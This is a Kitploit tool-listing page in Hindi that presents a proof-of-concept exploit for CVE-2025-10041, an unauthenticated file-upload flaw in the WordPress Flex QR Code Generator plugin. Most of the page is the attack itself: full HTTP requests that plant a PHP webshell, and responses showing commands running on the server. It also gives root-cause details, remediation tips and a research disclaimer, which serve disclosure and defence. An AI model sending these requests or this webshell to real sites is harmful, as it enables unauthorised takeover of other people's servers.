Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
WordPress-Flex-QR-Code-Generator---CVE-2025-10041 — CVE-2025-10041 के लिए तकनीकी विश्लेषण और प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो WordPress Flex QR Code Generator प्लगइन में अनप्रमाणित (unauthenticated) मनमाना फ़ाइल अपलोड है, जिससे रिमोट कोड एक्ज़ीक्यूशन (remote code execution) होता है। | Kitploit
उपकरण/GitHubGitHub/kai-one001/wordpress-flex-qr-code-generator---cve-2025-10041
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणवेब सुरक्षापेनिट्रेशन टेस्टिंग
GitHubkai-one001/wordpress-flex-qr-code-generator---cve-2025-10041

WordPress-Flex-QR-Code-Generator---CVE-2025-10041

CVE-2025-10041 के लिए तकनीकी विश्लेषण और प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो WordPress Flex QR Code Generator प्लगइन में अनप्रमाणित (unauthenticated) मनमाना फ़ाइल अपलोड है, जिससे रिमोट कोड एक्ज़ीक्यूशन (remote code execution) होता है।

रिपॉजिटरी देखें
111 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2025-10041: Flex QR Code Generator प्लगइन में मनमाना फ़ाइल अपलोड भेद्यता विश्लेषण


一、भेद्यता अवलोकन

  • प्लगइन नाम: Flex QR Code Generator
  • प्रभावित संस्करण: ≤ 1.2.5 (सभी संस्करण)
  • भेद्यता प्रकार: मनमाना फ़ाइल अपलोड → रिमोट कोड निष्पादन (RCE)
  • शोषण की स्थिति: लॉगिन की आवश्यकता नहीं, अनधिकृत पहुंच
  • मूल कारण: फ़ाइल अपलोड फ़ंक्शन एक्सटेंशन या MIME प्रकार की जाँच नहीं करता, और इंटरफ़ेस को अप्रमाणित उपयोगकर्ताओं द्वारा कॉल किया जा सकता है।

二、भेद्यता पुनरुत्पादन

  • No1 सूचना रिसाव + अपडेट हुक के माध्यम से RCE:

1. हमले की श्रृंखला का त्वरित अवलोकन

root@kitploit:~
अनधिकृत रूप से ID प्राप्त करें → अपडेट इंटरफ़ेस कॉल करके PHP फ़ाइल अपलोड करें → webshell तक पहुंचें → RCE

2. चरण एक: ID प्राप्त करने के लिए सूचना रिसाव

root@kitploit:~
POST /wp-admin/admin-ajax.php?action=flexqr_fetch_qr_code
Host: 192.168.63.131:8082
Content-Type: application/x-www-form-urlencoded

per_page=50&page=1

प्रतिक्रिया में मान्य id (जैसे 9) और logo_url पथ प्राप्त किया जा सकता है।

root@kitploit:~
{
    "success": true,
    "data": {
        "qrCodes": [{
            "id": "9",
            "qr_name": null,
            "text": "",
            "qr_code_url": null,
            "qr_image_url": null,
            "tracking": "0",
            "tracking_details": null,
            "qr_data": "{\"qrName\":\"shell\",\"qrDesc\":\"bypass\",\"qrData\":\"https:\/\/evil.com\"}",
            "created_at": "2025-10-16 11:16:53",
            "logo_url": "\/wp-content\/uploads\/2025\/10\/updat_9.jpg"
        },
        {
            "id": "8",
            "qr_name": null,
            "text": "https:\/\/example.com",
            "qr_code_url": null,
            "qr_image_url": null,
            "tracking": "0",
            "tracking_details": null,
            "qr_data": "{\"data\":\"https:\/\/example.com\"}",
            "created_at": "2025-10-16 11:01:53",
            "logo_url": "\/wp-content\/uploads\/2025\/10\/webshell_8.php"
        }], "totalItems": "9"
}
}

3. चरण दो: WebShell अपडेट और अपलोड करें

root@kitploit:~
POST /wp-admin/admin-ajax.php?action=flexqr_update_qr HTTP/1.1
Host: 192.168.63.131:8082
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABC123
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Content-Length: 480

------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="qrData"

{"data":"https://example.com"}
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="qrId"

9
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="isTrackingEnabled"

false
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="logo"; filename="webshell.php"
Content-Type: application/octet-stream

AiErBuDe
------WebKitFormBoundaryABC123--

✅ प्रतिक्रिया success: true अपलोड सफल होने का संकेत देती है।

root@kitploit:~
{
    "success": true,
    "data": {
        "message": "QR code updated successfully.",
        "id": 9,
        "finalUrl": "https:\/\/example.com"
    }
}

4. चरण तीन: परीक्षण फ़ाइल तक पहुंचें

फ़ाइल पथ प्रारूप: {original_name}_{id}.php

root@kitploit:~
GET /wp-content/uploads/2025/10/webshell_9.php HTTP/1.1
Host: 192.168.63.131:8082
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Content-Length: 0

सर्वर फ़ाइल सामग्री लौटाता है

root@kitploit:~
HTTP/1.1 200 OK
Date: Thu, 16 Oct 2025 13:42:25 GMT
Server: Apache/2.4.59 (Debian)
X-Powered-By: PHP/8.2.21
Content-Length: 8
Content-Type: text/html; charset=UTF-8

AiErBuDe
  • No2 अनधिकृत फ़ाइल अपलोड + RCE:

1. हमले की श्रृंखला का त्वरित अवलोकन

root@kitploit:~
अनधिकृत रूप से इंटरफ़ेस तक पहुंचकर दुर्भावनापूर्ण फ़ाइल अपलोड करें → webshell तक पहुंचें → RCE

2. चरण एक: इंटरफ़ेस के माध्यम से दुर्भावनापूर्ण फ़ाइल अपलोड करें

root@kitploit:~
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: 192.168.63.131:8082
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABC123
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Cookie: wp_nonce=884957; test=1337
Content-Length: 536

------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="action"

flexqr_save_qr
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="qrData"

{"qrName":"shell","qrDesc":"bypass","qrData":"https://evil.com"}
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="isTrackingEnabled"

false
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="logo"; filename="AiErBuDe.php"
Content-Type: image/png

<?php system($_GET['cmd']); ?>
------WebKitFormBoundaryABC123--

प्रतिक्रिया में मान्य id (जैसे 10) और success परिणाम प्राप्त किया जा सकता है

root@kitploit:~
{
    "success": true,
    "data": {
        "message": "QR code saved successfully.",
        "id": 10,
        "finalUrl": ""
    }
}

3. चरण तीन: कमांड निष्पादित करने के लिए WEBSHELL तक पहुंचें

root@kitploit:~
GET /wp-content/uploads/2025/10/AiErBuDe_10.php?cmd=id HTTP/1.1
Host: 192.168.63.131:8082
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Content-Length: 0

✅ सर्वर कमांड निष्पादन परिणाम लौटाता है, RCE सफल।

root@kitploit:~
HTTP / 1.1 200 OK Date: Thu,
16 Oct 2025 15 : 52 : 37 GMT Server: Apache / 2.4.59(Debian) X - Powered - By: PHP / 8.2.21 Vary: Accept - Encoding Content - Type: text / html;
charset = UTF - 8 Content - Length: 54

uid = 33(www - data) gid = 33(www - data) groups = 33(www - data)

三、भेद्यता का सिद्धांत

1. भेद्यता फ़ंक्शन

  • फ़ाइल: flex-qr-code-generator/qr-code-generator.php
  • फ़ंक्शन: save_qr_code_to_db() और update_qr_code()

2. प्रमुख दोष

  • केवल $_FILES['logo']['error'] === UPLOAD_ERR_OK की जाँच करता है
  • फ़ाइल एक्सटेंशन या MIME प्रकार की जाँच नहीं करता
  • फ़ाइल नाम नियंत्रणीय है: {original_name}_{id}.ext, id स्वतः-वृद्धि प्राथमिक कुंजी है

3. अनधिकृत कॉल

wp_ajax_nopriv_ हुक के माध्यम से पंजीकृत, इंटरफ़ेस को बिना लॉगिन किए उपयोगकर्ताओं द्वारा एक्सेस किया जा सकता है:

root@kitploit:~
add_action('wp_ajax_nopriv_flexqr_save_qr', [$this, 'save_qr_code_to_db']);
add_action('wp_ajax_nopriv_flexqr_update_qr', [$this, 'update_qr_code']);

nopriv का अर्थ है "कोई अनुमति आवश्यकता नहीं", हमलावर बिना लॉगिन किए कॉल कर सकता है।


四、सुधार सुझाव

उपायविवरण
✅ अनुमति नियंत्रणnopriv हुक हटाएं, केवल व्यवस्थापक को कॉल करने दें
✅ फ़ाइल प्रकार जाँचव्हाइटलिस्ट द्वारा एक्सटेंशन सीमित करें (जैसे jpg/png/gif)
✅ PHP निष्पादन रोकेंuploads/.htaccess में PHP निष्पादन रोकें
✅ फ़ाइल पुनर्नामकरणयादृच्छिक फ़ाइल नाम उपयोग करें, अनुमान लगाने से बचें
✅ प्लगइन अपग्रेड करेंआधिकारिक अपडेट पर ध्यान दें, समय पर अपग्रेड करें

अस्वीकरण

यह लेख केवल सुरक्षा अनुसंधान और शैक्षिक उद्देश्यों के लिए है, अनधिकृत पेनेट्रेशन परीक्षण या हमले की कार्रवाई निषिद्ध है। उपयोगकर्ताओं को प्रासंगिक कानूनों और विनियमों का पालन करना होगा।

टूल डाउनलोड करें